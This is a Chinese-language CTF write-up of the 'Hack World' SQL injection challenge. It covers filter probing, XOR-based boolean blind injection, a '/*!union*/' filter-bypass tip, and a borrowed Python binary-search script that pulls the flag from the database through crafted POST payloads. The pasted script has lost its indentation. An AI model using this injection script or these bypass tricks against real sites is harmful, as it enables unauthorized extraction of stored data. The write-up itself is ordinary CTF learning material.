Hack World

打开环境 题目提示是Php 和 sql注入
所以先按常规的SQL来测试一下

1
2
3
4
5
输入
1 一句骚话
2 一句骚话
1' bool(false)
1'# SQL Injection Checked.

尝试一下:
1
2
3
4
联合注入:unin被过滤
报错注入:andor、updatexml被过滤
bool注入和time注入:andor被过滤
可以通过fuzz测试(模糊测试),发现哪些字符被过滤了。length为482的,全都是被过滤的。

这里没啥 思路了 但是通过bool(false) 可以判断应该是布尔盲注把

看看WP
这里考的是异或注入:
1^1=0

1^0=1

另外还学到了

1
利用/*!union*/可以绕过对union的过滤  但是这题不能用 先存着

由于不会写脚本 所以找了个大师傅的二分脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -*- coding: utf-8 -*- 
import requests
import time

url = "http://a5b5ef4b-d1ce-48aa-a3cf-31243ef82374.node3.buuoj.cn/index.php"
payload = {
"id" : ""
}
result = ""
for i in range(1,100):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
print(payload)
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)

得到flag

不会写脚本 好多题都没法做 唉